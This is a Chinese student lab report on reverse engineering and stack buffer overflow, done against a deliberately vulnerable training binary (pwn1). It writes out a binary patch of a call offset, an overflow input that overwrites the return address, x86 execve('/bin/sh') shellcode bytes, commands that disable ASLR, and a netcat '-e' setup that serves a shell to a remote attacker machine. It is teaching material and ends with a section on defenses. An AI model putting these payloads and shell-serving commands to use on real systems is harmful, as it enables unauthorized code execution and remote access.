当前位置: 首页 > news >正文

实验一:逆向及BOF基础实践-20232301郑好

1 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:

运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。

1.2基础知识

该实践需要

  • 熟悉Linux基本操作,能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理,能看得懂汇编、机器指令、EIP、指令地址,会使用gdb,vi。
  • 指令、参数:掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    1. NOP:机器码为0x90,是空操作指令,不改变寄存器和内存状态仅消耗时钟周期,攻击中常作为“滑行区”辅助Shellcode执行;
    2. CMP:机器码常见0x38~0x3D、0x83等(依场景定),通过隐含减法比较两操作数,不保存结果仅修改标志位(如ZF),为后续条件跳转提供判断依据;
    3. JE:机器码为0x74(短跳转)、0x0F84(近跳转),是条件跳转指令,当前次比较结果相等(ZF=1)时,跳转到目标地址;
    4. JNE:机器码为0x75,是条件跳转指令,当前次比较结果不相等(ZF=0)时,跳转到目标地址;
    5. JMP:机器码常见0xEB(短跳转)、0xE9(近跳转)、0xEA(远跳转)等,是无条件跳转指令,不依赖标志位,强制跳转到指定地址以改变程序执行流。

2 直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

  • 学习目标:理解可执行文件与机器指令

  • 进阶:掌握ELF文件格式,掌握动态技术
    下载目标文件pwn1,并修改文件名为自己的学号
    image

利用命令objdump -d pwn20232301 | more,进行反汇编。
image

一直按回车就会逐行显示更多信息,直到找到main的内容
image

  • 可以看到,main函数调用foo函数时,对应的汇编指令为“call 8048491”(见第12行),其机器指令是“e8 d7ffffff”,其中e8表示跳转,此时EIP的正常值应为下条指令地址80484ba,而CPU执行该指令时会转而执行“EIP + d7ffffff”位置的指令,“d7ffffff”作为补码表示-41(即0x29),计算可得80484ba - 0x29正好是8048491

  • 若想让其调用getShell函数,只需将“d7ffffff”修改为“getShell地址与80484ba的差值对应的补码”,通过计算47d - 4ba得到该补码为c3ffffff,之后修改可执行文件中call指令的目标地址即可。

修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff:
(再复制一份pwd1文件,更名为pwd2301,对该文件进行操作)
vi进入pwn2301,出现乱码,按Esc键,输入:%!xxd
找到e8d7,修改d7为c3(先按i进入编辑模式再改,改完按Esc键退出)
输入:%!xxd -r
输入:wq退出
image
image

对pwn2反汇编,检验是否修改正确objdump -d pwn2301 | more
image
运行代码将得到shell提示符
image

可以看到,这次修改改变了原可执行文件的功能,由重复输出字符串改为了打开命令行,执行ls文件后,成功打印了目录下的文件

3 通过构造输入参数,造成BOF攻击,改变程序执行流

3.1反汇编,了解程序的基本功能

安装gdb:
image

image

对pwn2301h文件进行反汇编,该可执行文件正常运行时是调用函数foo。这个函数有Buffer overflow漏洞:foo读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,本次目标是覆盖返回地址

3.2 确认输入字符串哪几个字符会覆盖到返回地址

输入1111111122222222333333334444444455555555
image
发现eip的值为0x35353535,即5555的ASCII码

输入1111111122222222333333334444444412345678
image
eip的值为0x34333231,即1234的ASCII码
从中我们可以得出,输入改字符串时,1234会覆盖堆栈中的返回地址,CPU将会尝试运行该被覆盖的地址的位置的代码,如果将这四个字符替换为getshell的内存地址输入给pwd2301h,那么该文件就会运行getshell

3.3确认用什么值来覆盖返回地址

在反汇编时我们已经得知了getshell的内存地址为0x0804847d
同时还要确认地址写法,从前边1234对应0x34333231可以得出是小端写法
综合以上信息,将1234处的内容替换为对应的地址,应为:
11111111222222223333333344444444\x7d\x84\x04\x08
image
对比之前 eip 0x34333231 0x34333231,验证了输入正确

3.4构造输入字符串

显然直接通过键盘输入16进制值是不现实的,因此先生成包括这样字符串的一个文件,其中\x0a表示回车
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

使用16进制查看指令xxd查看input文件的内容是否如预期。
image

然后将input的输入通过管道符作为pwn1的输入
image

至此攻击成功,获得了交互式的shell

4.注入shellcode并执行

4.1准备一段shellcode

  • shellcode就是一段机器指令(code)
    通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
    所以这段机器指令被称为shellcode。
    在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

4.2准备工作

从官网下载相关的包,本地安装execstack命令
输入execstack -s pwn1329指令来设置堆栈可执行
输入execstack -q pwn1329 指令查询文件的堆栈是否可执行
输入more /proc/sys/kernel/randomize_va_space,检查发现randomize_va_space为2,即地址随机化保护是开启的
image

输入echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化。

输入more /proc/sys/kernel/randomize_va_space,发现randomize_va_space为0说明地址随机化保护关闭
image

(为保证实验的准确性,后续新增加文件pwn2301hh做本实验)

4.3构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:
    retaddr+nop+shellcode
    nop+shellcode+retaddr。
    因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
    简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

  • 我们这个buf够放这个shellcode了

  • 结构为:retaddr+nop+shellcode
    nop一为是了填充,二是作为“着陆区/滑行区”。
    我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

打开两个终端,都进入root模式
终端1输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

注入攻击buf(cat input_shellcode;cat) | ./pwn1329,回车一次即可

image

终端2中进行gdb调试,输入ps -ef | grep pwn2301hh,得到进程号166884
image

终端2执行到下图位置时,在终端1中按下回车,此时终端1出现乱码
image

image

终端2继续执行info r esp
image

得到地址0xffffd39c
继续执行观察到01020304即为返回地址的位置,shellcode在其后边,故为

0xffffd39c+4=0xffffd3a0

将计算得到的地址放进shellcode,运行代码
perl -e 'print "A" x 32;print"\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

xxd input_shellcode

(cat input_shellcode;cat) | ./pwn2301hh

image
运行后发现成功获取shell,本次攻击成功

4.4结合nc模拟远程攻击

本次实验采用kail作为靶机,openEuler为攻击机,二者可以互相ping通
靶机(kali)ip:192.168.78.130
攻击机(openEuler)ip:192.168.78.129
靶机输入如下命令:
nc -lvnp 2301 -e ./pwn20232301hhhh
image

攻击机输入如下命令:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
(cat input; cat) | nc 192.168.78.130 2301

观察到靶机显示成功连接攻击机
image

在攻击机上已经可以获取靶机的shell
image

5.BOF防御技术

5.1. 从防止注入的角度

在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生

5.2. 注入了也不让运行

结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了
详见4.2的图
image

5.3增加shellcode的构造难度

shellcode需猜测返回地址位置及注入后内存位置,这极度依赖应用代码段、堆栈段每次被OS加载到固定内存地址;而ALSR(地址随机化)让OS每次用不同地址加载应用,使预先通过反汇编或调试得到的地址均失效。
/proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况

0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。

这同样已经在4.2的图中体现
image

5.4 从管理的角度

加强编码质量。注意边界检测。使用最新的安全的库函数。

6.问题与解决

1.gdb时提示zsh:1:权限不够
解决方法:chmod u+x pwn2301h即可

2.无法安装execstack包
解决方法:去官网上下载相关的包并直接在本地安装
相关命令:sudo dpkg -i execstack_0.0.20131005-1.1ubuntu1_amd64.deb

7.实验总结与体会

本次实验实现的流程比较常,跟着指导书基本可以完成,有一些问题需要自己去发现并解决,例如execstack无法安装的问题等,中途出现一些错误时也难免心惊肉跳抓耳挠腮,不过经过慢慢调试解决后也积累了相关的经验。实验最重要的是通过上手实操真正理解其原理与核心。通过这次实验,我对缓冲区溢出的原理和实验方式不再只是浮于纸面上,而是有了更为深刻的理解,感受到了网络攻防技术的奇妙,可谓受益匪浅。当然,我对这些技术的理解还需进一步深入,期待后续的学习!

http://www.hskmm.com/?act=detail&tid=29183

相关文章:

  • 排除通过IP访问MySQL时出现的连接错误问题
  • SciTech-Mathmatics-Proba. Stats.: 统计量: 增长速度、同比 与 环比 的概念、用途、示例、计算公式、注意事项
  • Java二维数组
  • 在Ubuntu系统上设置syslog日志轮替与大小限制
  • 从 “有人值守” 到 “少人运维”:智能巡检机器人重塑配电室管理模式 - 实践
  • 2025年10月最新推荐卫星电话品牌发布,涵防爆对讲卫星电话,卫星电话应急指挥系统,卫星电话防爆对讲终端,防爆手持卫星电话!
  • 很早就想注册博客园了
  • [KaibaMath]1006 关于∀ε0, |a-b|λε(λ0) = a=b的证明
  • dataset类
  • 【PolarCTF】nc
  • [ARC081E] Dont Be a Subsequence 题目分析
  • AI代理从概念验证到生产部署全流程
  • Azure Arc C2即服务:攻击与防御实战指南
  • CPU中的加法运算与减法运算
  • macos单独打开模拟器simulator
  • 子序列自动机学习笔记
  • 2018牛客网暑期ACM多校训练营(第一场)
  • 20232311 2025-2026-1 《网络与系统攻防技术》实验一实验报告
  • 你的认知模式,决定了你的人生高度
  • 在Typora中数学公式无法显示问题
  • 洛谷个人主页
  • 原码、反码、补码
  • C++ - 从字符串中提取一个数的若干种写法
  • ABC 日志
  • 251012
  • 如何在UE中创建动态枚举
  • 能连上 GitHub(SSH 验证成功),却 push 失败?常见原因与逐步解决方案 - 详解
  • 换根dp的一个trick
  • 搭建SSH服务于RK3399平台上的Ubuntu 18.04,实现远程连接
  • 深入探讨MySQL的二进制日志(binlog)选项